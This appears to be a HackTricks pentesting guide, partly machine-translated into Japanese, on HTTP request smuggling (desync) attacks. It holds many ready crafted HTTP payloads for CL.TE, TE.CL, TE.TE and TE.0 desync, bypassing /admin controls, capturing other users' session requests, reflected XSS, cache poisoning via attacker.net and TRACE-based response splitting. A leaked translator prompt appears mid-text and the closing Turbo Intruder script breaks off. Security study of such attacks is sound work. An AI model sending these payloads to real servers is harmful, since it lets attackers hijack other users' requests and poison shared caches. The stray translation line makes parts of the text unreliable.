HTTP Request Smuggling / HTTP Desync Attack

Reading time: 46 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

この脆弱性は、front-end proxiesback-end サーバ間の desyncronization により、attacker が HTTP の requestsend し、それが front-end proxies(load balance/reverse-proxy)には single request として interpreted され、back-end サーバには as 2 request として interpreted される場合に発生します。
これにより、攻撃者は modify the next request that arrives to the back-end server after his ことが可能になります。

理論

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

実際

Front-End(load-balance / Reverse Proxy)が Content-Length または Transfer-Encoding ヘッダを処理し、Back-end サーバが別のヘッダを処理することで、両者間に desyncronization が発生します。
これにより、攻撃者は reverse proxy に対して one request を送信し、それが back-end サーバで 2 different requests として interpreted される可能性があります。この手法の危険性は、back-end サーバが 2nd request injected をあたかも next client から来たものとして扱い、そのクライアントの本来のリクエストが injected request の一部となってしまう点にあります。

特記事項

HTTP では 改行文字は 2 バイトからなる ことを覚えておいてください:

  • Content-Length: このヘッダはリクエストのボディのバイト数を示す 10 進数 を使います。ボディは最後の文字で終わることが期待され、リクエストの末尾に改行は必須ではありません
  • Transfer-Encoding: このヘッダはボディ内で次のチャンクのバイト数を示す 16 進数 を使います。チャンクは 改行で終わる必要があり、ただしその改行は長さ指標には 含まれません。この転送方式は 0 サイズのチャンクと 2 つの改行 で終了する必要があります。
  • Connection: 私の経験では、request Smuggling の最初のリクエストでは Connection: keep-alive を使うことを推奨します。

Basic Examples

tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling 攻撃は、front-end と back-end が Content-Length (CL) と Transfer-Encoding (TE) ヘッダを解釈する際の不一致を突く曖昧なリクエストを送ることで作られます。これらの攻撃は主に CL.TE, TE.CL, TE.TE として現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。サーバが同じリクエストを異なる方法で処理することで脆弱性が生じ、予期せぬ悪意のある結果を招くことがあります。

脆弱性タイプの基本例

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): リクエストを Content-Length ヘッダに基づいて処理します。

  • Back-End (TE): Transfer-Encoding ヘッダに基づいてリクエストを処理します。

  • Attack Scenario:

  • 攻撃者は Content-Length ヘッダの値が実際のコンテンツ長と一致しないリクエストを送信します。

  • front-end サーバは Content-Length の値に基づいてリクエスト全体を back-end に転送します。

  • back-end サーバは Transfer-Encoding: chunked ヘッダのためチャンク処理として解釈し、残りのデータを別の続くリクエストとして扱います。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Transfer-Encoding ヘッダに基づいてリクエストを処理します。

  • Back-End (CL): Content-Length ヘッダに基づいてリクエストを処理します。

  • Attack Scenario:

  • 攻撃者はチャンクサイズ(7b)と実際のコンテンツ長(Content-Length: 4)が一致しないチャンク化リクエストを送信します。

  • front-end サーバは Transfer-Encoding を尊重してリクエスト全体を back-end に転送します。

  • back-end サーバは Content-Length を尊重してリクエストの最初の部分(7b バイト)だけを処理し、残りを意図しない続きのリクエストとして残します。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: 両方とも Transfer-Encoding をサポートしますが、片方は難読化によって無視される可能性があります。

  • Attack Scenario:

  • 攻撃者は難読化された Transfer-Encoding ヘッダを含むリクエストを送信します。

  • どちらのサーバ(front-end または back-end)がこの難読化を認識できないかによって、CL.TE または TE.CL の脆弱性が悪用され得ます。

  • いずれかのサーバが未処理として見るリクエストの残りの部分が次のリクエストの一部となり、smuggling を引き起こします。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • 両方のサーバが Content-Length ヘッダのみに基づいてリクエストを処理します。
  • このシナリオは通常 smuggling を引き起こしません。両者の解釈が一致しているためです。
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Content-Length ヘッダが存在し、ゼロ以外の値を持つ場合を指します。back-end が Content-Length ヘッダを無視して(0 として扱い)、front-end がそれを解析するケースです。
  • これはサーバがリクエストの終了をどのように判断するかに影響を与えるため、smuggling 攻撃の理解と作成に重要です。
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • 前述のものと同様ですが、TE を使用するケースです。
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

ウェブサーバーのクラッシュ

この手法は、初期のHTTPデータを読み込んでいる間にウェブサーバーをクラッシュさせるが、接続を閉じずに済むようなシナリオでも有用です。こうすると、HTTPリクエストのbody次のHTTPリクエストとして扱われます。

例えば、this writeupで説明されているように、Werkzeug ではいくつかの Unicode 文字を送信することでサーバーをbreakさせることが可能でした。しかし、HTTP接続がヘッダ**Connection: keep-aliveで作成されている場合、リクエストのbodyは読み込まれず接続は開いたままになるため、リクエストのbody次のHTTPリクエスト**として扱われます。

hop-by-hop headers を介した強制

hop-by-hop headers を悪用すると、プロキシに delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse と指示でき、それによって HTTP request smuggling を悪用できます。

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

HTTP Request Smuggling の検出

HTTP request smuggling 脆弱性の識別は、多くの場合タイミング手法で達成できます。これらは、改変したリクエストに対してサーバが応答するまでにどれくらい時間がかかるかを観察することに依存します。これらの手法は特に CL.TE および TE.CL 脆弱性の検出に有用です。これらの方法に加えて、脆弱性を見つけるために使える他の戦略やツールもあります:

CL.TE 脆弱性の検出(タイミング手法を使用)

  • Method:

  • アプリケーションが脆弱であれば、バックエンドサーバが追加データを待つことになるようなリクエストを送信します。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • フロントエンドサーバは Content-Length に基づいてリクエストを処理し、メッセージを早期に切断します。

  • バックエンドサーバは chunked メッセージを期待しており、次のチャンクが到着するのを待つため、遅延が発生します。

  • Indicators:

  • タイムアウトや長い応答遅延。

  • バックエンドサーバから 400 Bad Request エラーを受け取ることがあり、時に詳細なサーバ情報が含まれる場合があります。

TE.CL 脆弱性の検出(タイミング手法を使用)

  • Method:

  • アプリケーションが脆弱であれば、バックエンドサーバが追加データを待つことになるようなリクエストを送信します。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • フロントエンドサーバは Transfer-Encoding に基づいてリクエストを処理し、メッセージ全体を転送します。
  • バックエンドサーバは Content-Length に基づくメッセージを期待しており、到着しない追加データを待つため遅延が発生します。

脆弱性を見つけるためのその他の方法

  • Differential Response Analysis:
  • わずかに異なるバージョンのリクエストを送り、サーバの応答が予期せぬ形で異なるかどうかを観察します。これによりパーサの差異が示唆されます。
  • Using Automated Tools:
  • Burp Suite の 'HTTP Request Smuggler' 拡張などのツールは、さまざまな曖昧なリクエストを自動で送信して応答を解析することで、これらの脆弱性を自動的にテストできます。
  • Content-Length Variance Tests:
  • 実際のコンテンツ長と一致しない様々な Content-Length 値を持つリクエストを送信し、サーバがこうした不一致をどのように処理するかを観察します。
  • Transfer-Encoding Variance Tests:
  • Transfer-Encoding ヘッダを難読化したり不正な形式にして送信し、フロントエンドとバックエンドがどのように異なる反応をするかを監視します。

HTTP Request Smuggling 脆弱性のテスト

タイミング手法の有効性を確認した後は、クライアントからのリクエストが操作可能かどうかを検証することが重要です。単純な方法としては、リクエストを汚染して / へのリクエストが 404 を返すように試みることです。前述の CL.TETE.CL の例は、クライアントが別のリソースにアクセスしようとしていてもクライアント側のリクエストを汚染して 404 を引き出す方法を示しています(Basic Examples を参照)。

重要な考慮点

他のリクエストに干渉して request smuggling をテストする際は、次の点に留意してください:

  • Distinct Network Connections: 「攻撃」リクエストと「通常」リクエストは別々のネットワーク接続で送信するべきです。両方を同じ接続で送ると、脆弱性の存在は検証されません。
  • Consistent URL and Parameters: 両方のリクエストで同一の URL とパラメータ名を使用することを目指してください。現代のアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバへルーティングすることが多く、これらを一致させることで両リクエストが同じサーバで処理される可能性が高まり、攻撃成功の前提条件を満たします。
  • Timing and Racing Conditions: 検出用の「通常」リクエストは、「攻撃」リクエストによる干渉を検出するために競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。負荷の高いアプリケーションでは結論を出すために複数回の試行が必要になる場合があります。
  • Load Balancing Challenges: フロントエンドサーバがロードバランサとして動作している場合、リクエストは異なるバックエンドシステムに分散される可能性があります。「攻撃」と「通常」のリクエストが異なるシステムに割り当てられると攻撃は成功しません。このロードバランシングの影響により、脆弱性確認のために何度か試行する必要が出てくることがあります。
  • Unintended User Impact: 攻撃が他のユーザのリクエスト(あなたが検出用に送った「通常」リクエストではないもの)に影響を与えた場合、それはあなたの攻撃が別のアプリケーションユーザに影響を及ぼしたことを示しています。継続的なテストは他のユーザを妨害する可能性があるため、慎重に行ってください。

HTTP/1.1 pipelining のアーティファクトと真の request smuggling を区別する

Connection reuse (keep-alive) と pipelining は、同じソケット上で複数のリクエストを送るテストツールで「smuggling の幻影」を簡単に生じさせます。クライアント側の無害なアーティファクトを、サーバ側の真のデシンク(desync)と区別する方法を学んでください。

なぜ pipelining が古典的な false positive を生むのか

HTTP/1.1 は単一の TCP/TLS 接続を再利用して、同一ストリーム上でリクエストとレスポンスを連結します。パイプライニングでは、クライアントが複数のリクエストを立て続けに送り、順序通りのレスポンスを期待します。一般的な false-positive の例としては、単一の接続上で不正な CL.0 スタイルのペイロードを二度再送することがあります:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

レスポンスは次のようになります:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

サーバが不正な Content_Length を無視した場合、FE↔BE desync は発生しません。接続を再利用すると、クライアントは実際に次のバイトストリームを送信し、サーバはそれを2つの独立したリクエストとして解析しました:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • Burp Intruder/Repeater では HTTP/1 reuse をオフにし、"Send group in sequence" を避けます。
  • Turbo Intruder では requestsPerConnection=1pipeline=False を設定します。
  • 挙動が消える場合、それはおそらく client-side pipelining によるものです。ただし connection-locked/stateful targets や client-side desync を扱っている可能性がある点には注意してください。
  1. HTTP/2 nested-response check
  • HTTP/2 リクエストを送信します。レスポンスボディに完全なネストされた HTTP/1 レスポンスが含まれていれば、純粋なクライアント副産物ではなくバックエンドのパーシング/desync バグがあることが証明されます。
  1. Partial-requests probe for connection-locked front-ends
  • 一部の FE はクライアントが接続を再利用した場合にのみ upstream BE 接続を再利用します。partial-requests を使って、クライアント再利用を反映する FE の挙動を検出してください。
  • connection-locked 手法については PortSwigger の "Browser‑Powered Desync Attacks" を参照してください。
  1. State probes
  • 同一 TCP 接続上での最初のリクエストとそれ以降のリクエストの差(first-request routing/validation)を確認します。
  • Burp の "HTTP Request Smuggler" にはこの接続状態プローブを自動化する機能が含まれています。
  1. Visualize the wire
  • Burp の "HTTP Hacker" extension を使い、reuse や partial requests を試しながら連結やメッセージフレーミングを直接検査します。

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • サーバー側のバグを証明する
  • HTTP/2 nested-response check を使う、または
  • partial-requests を使って FE がクライアントが再利用した場合にのみ upstream を再利用することを示す
  • たとえ直接のクロスユーザーソケット濫用がブロックされていても実害を示す:
    • Cache poisoning: desync を利用して共有キャッシュを汚染し、他のユーザーに影響を与えるレスポンスを生成する
    • Internal header disclosure: FE が挿入したヘッダ(例: auth/trust headers)を反映させて auth bypass に繋げる
    • Bypass FE controls: 制限されたパスやメソッドを front-end を通過させる
    • Host-header abuse: host ルーティングの奇異と組み合わせて内部 vhost にピボットする
  • Operator workflow
    • 制御下での再利用を再現する(Turbo Intruder requestsPerConnection=2、または Burp Repeater のタブグループ → "Send group in sequence (single connection)")。
    • その後、cache/header-leak/control-bypass のプリミティブにチェーンし、クロスユーザーまたは認可への影響を実証する。

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

browser-powered/client-side desync を狙う場合、悪意あるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。Header obfuscation のトリックは通用しません。navigation/fetch 経由で到達可能なプリミティブに注力し、その後 downstream コンポーネントがレスポンスを反映またはキャッシュする箇所へ pivot して、cache poisoning、header disclosure、front-end control bypass などを狙います。

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): 低レベルの HTTP 挙動やソケット連結を可視化します。
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: requestsPerConnection による接続再利用の精密な制御が可能です。
  • Burp HTTP Request Smuggler: first-request routing/validation を検出する接続状態プローブを含みます。

note

再利用のみで発生する効果は、サーバー側 desync を証明し、具体的な影響(poisoned cache artifact、leaked internal header による権限回避、FE 制御のバイパス等)を示せない限り、重大な問題とは見なさないでください。

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

時折、front-end proxy は受信リクエストに対してセキュリティ対策を強制しており、特定のリクエストを厳密に検査します。しかし、HTTP Request Smuggling を悪用すると、これらの対策を回避して制限されたエンドポイントに不正アクセスできる場合があります。例えば、外部から /admin へのアクセスが禁止され、front-end proxy によって積極的にブロックされている場合でも、この proxy が smuggled な HTTP リクエスト内の埋め込みリクエストを検査しない可能性があり、制限回避の抜け穴になります。

以下は、front-end セキュリティ制御(典型的には front-end proxy によって保護されている /admin パスをターゲットにする例)を回避するために HTTP Request Smuggling を利用する方法を示す例です:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE攻撃では、Content-Length ヘッダーが最初のリクエストで利用され、続く埋め込まれたリクエストは Transfer-Encoding: chunked ヘッダーを使用します。フロントエンドのプロキシは最初の POST リクエストを処理しますが、埋め込まれた GET /admin リクエストを検査できないため、/admin パスへの不正アクセスが可能になります。

TE.CL 例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Conversely, in the TE.CL attack, the initial POST request uses Transfer-Encoding: chunked, and the subsequent embedded request is processed based on the Content-Length header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled GET /admin request, inadvertently granting access to the restricted /admin path.

Revealing front-end request rewriting

アプリケーションはしばしば、受信したリクエストをback-end serverに渡す前に変更するためにfront-end serverを使用します。典型的な変更は、クライアントのIPをback-endに伝えるためにX-Forwarded-For: <IP of the client>のようなヘッダを追加することです。これらの変更を理解することは重要で、保護を回避する隠された情報やエンドポイントを発見する方法を明らかにする可能性があります。

プロキシがリクエストをどのように変更するか調べるには、back-endがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使う形で、次のようなリクエストを作成します:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

この構造では、後続のリクエスト構成要素が search= の後に追加されます。これはレスポンスに反映されるパラメータであり、この反映により後続リクエストのヘッダが露出します。

ネストされたリクエストの Content-Length ヘッダを実際のコンテンツ長と合わせることが重要です。小さめの値から始めて徐々に増やすことを推奨します。値が小さすぎると反映されるデータが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。

この手法は TE.CL 脆弱性の文脈でも適用できますが、リクエストは search=\r\n0 で終端する必要があります。改行文字に関係なく、値は search パラメータに追加されます。

この方法は主にフロントエンドプロキシが行うリクエスト変更を理解するためのもので、実質的には自己調査を行うことになります。

他のユーザーのリクエストをキャプチャする

POST 操作中に、あるパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。以下のように実行できます:

以下のリクエストをパラメータの値として追加することで、続くクライアントのリクエストを保存できます:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In this scenario, the comment parameter is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.

However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the & character. This means the captured content from the victim user's request will stop at the first &, which may even be part of the query string.

Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with search=\r\n0. Regardless of newline characters, the values will be appended to the search parameter.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to Reflected XSS, offering significant advantages:

  • Interaction with the target users is not required.
  • Allows the exploitation of XSS in parts of the request that are normally unattainable, like HTTP request headers.

In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload is structured to exploit the vulnerability by:

  1. Initiating a POST request, seemingly typical, with a Transfer-Encoding: chunked header to indicate the start of smuggling.
  2. Following with a 0, marking the end of the chunked message body.
  3. Then, a smuggled GET request is introduced, where the User-Agent header is injected with a script, <script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.

By manipulating the User-Agent through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.

HTTP/0.9

caution

ユーザーコンテンツが Content-typetext/plain のような値で反映される場合、XSS の実行が阻止されます。サーバーが HTTP/0.9 をサポートしている場合、これをバイパスできる可能性があります

The version HTTP/0.9 was previously to the 1.0 and only uses GET verbs and doesn’t respond with headers, just the body.

In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type of text/html.

サイト内リダイレクトを HTTP Request Smuggling で悪用する

Applications often redirect from one URL to another by using the hostname from the Host header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:

GET /home HTTP/1.1
Host: normal-website.com

結果:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

一見無害に見えるこの挙動は、HTTP request smuggling を用いてユーザーを外部サイトにリダイレクトするように悪用できます。例えば:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

この smuggled request は、次に処理されるユーザーのリクエストを攻撃者が制御するウェブサイトへリダイレクトさせる可能性があります:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

結果:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

このシナリオでは、ユーザーの JavaScript ファイルへのリクエストがハイジャックされます。攻撃者は、悪意のある JavaScript を返すことでユーザーを侵害できる可能性があります。

HTTP Request Smuggling を介した Web Cache Poisoning の悪用

Web cache poisoning は、通常パフォーマンス向上のためにfront-end infrastructure caches content(フロントエンドのコンポーネントがコンテンツをキャッシュしている)場合に実行可能です。サーバーのレスポンスを操作することで、poison the cache ことが可能です。

前述のように、サーバーのレスポンスを変更して 404 エラーを返す方法を確認しました(参照: Basic Examples)。同様に、/static/include.js へのリクエストに対して /index.html の内容を返すようサーバーを騙すことも可能です。その結果、/static/include.js の内容がキャッシュ内で /index.html の内容に置き換わり、ユーザーから /static/include.js へアクセスできなくなり、Denial of Service (DoS) を引き起こす可能性があります。

この手法は、Open Redirect vulnerability が見つかった場合や on-site redirect to an open redirect が存在する場合に特に強力になります。これらの脆弱性を利用すると、キャッシュされた /static/include.js の内容を攻撃者の管理するスクリプトに置き換えることができ、結果的に更新された /static/include.js を要求するすべてのクライアントに対して大規模な Cross-Site Scripting (XSS) 攻撃を実行することが可能になります。

以下は、cache poisoning combined with an on-site redirect to open redirect を悪用する例です。目的は /static/include.js のキャッシュ内容を変更し、攻撃者が制御する JavaScript コードを配信させることです:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

成功した socket poisoning の後、/static/include.js への GET request を発行する必要があります。このリクエストは前述の on-site redirect to open redirect リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。

その後、/static/include.js へのあらゆるリクエストは攻撃者のスクリプトのキャッシュされた内容を返すようになり、実質的に大規模な XSS 攻撃を開始します。

HTTP request smuggling を用いて web cache deception を実行する

web cache poisoning と web cache deception の違いは何ですか?

  • web cache poisoning では、攻撃者がアプリケーションに悪意あるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーション利用者に提供されます。
  • web cache deception では、攻撃者が別のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。

攻撃者はユーザー固有の機密コンテンツを取得する smuggled request を作成します。以下の例を見てください:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

この smuggled request が静的コンテンツ(例: /someimage.png)向けのキャッシュエントリを汚染すると、被害者の /private/messages にある機密データが静的コンテンツのキャッシュエントリにキャッシュされてしまう可能性があります。結果として、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。

Abusing TRACE via HTTP Request Smuggling

In this post は、サーバで TRACE メソッドが有効になっている場合、HTTP Request Smuggling と組み合わせて悪用できる可能性があると示唆しています。これは、このメソッドがサーバに送信された任意のヘッダーをレスポンスの本文の一部として反映するためです。例えば:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here. I will translate the English text to Japanese while preserving code, hacking technique names, cloud/SaaS names, links, paths, tags, refs and all markdown/html syntax exactly as-is.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

この挙動を悪用する例としては、まずHEADリクエストをsmuggleすることが挙げられます。This request will be responded with only the headers of a GET request(Content-Type among them)。そしてHEADの直後にTRACEリクエストをsmuggleすると、それは送信したデータを反映します。\
HEADのレスポンスにはContent-Lengthヘッダが含まれるため、TRACEリクエストのレスポンスはHEADレスポンスのボディとして扱われ、結果的に任意のデータがレスポンスに反映されます。\
このレスポンスはコネクション上の次のリクエストへ送られるため、例えばキャッシュされたJSファイルに利用して任意のJSコードを注入することができます。

TRACEをHTTP Response Splitting経由で悪用する

続けてthis postを参照することが推奨され、TRACEメソッドを悪用する別の方法が示されています。前述の通り、HEADリクエストとTRACEリクエストをsmuggleすることで、HEADレスポンスに含まれる一部の反映データを制御できる可能性があります。HEADリクエストのボディ長は基本的にContent-Lengthヘッダで示され、その内容はTRACEリクエストのレスポンスによって構成されます。

したがって、このContent-LengthとTRACEレスポンス内のデータを把握すれば、TRACEレスポンスがContent-Lengthの最後のバイト以降に有効なHTTPレスポンスを含むように仕向けることが可能になり、攻撃者は次のレスポンスに対する要求を完全に制御できます(これはcache poisoningに利用できます)。

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

次のレスポンスを生成します(HEADレスポンスが Content-Length を持ち、それにより TRACE レスポンスが HEAD ボディの一部となり、HEAD の Content-Length が終了すると有効な HTTP レスポンスが smuggled される点に注意):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Response Desynchronisationを利用したHTTP Request Smugglingの武器化

HTTP Request Smugglingの脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他の攻撃手法を試してください:

HTTP Response Smuggling / Desync

その他の HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

出典: https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
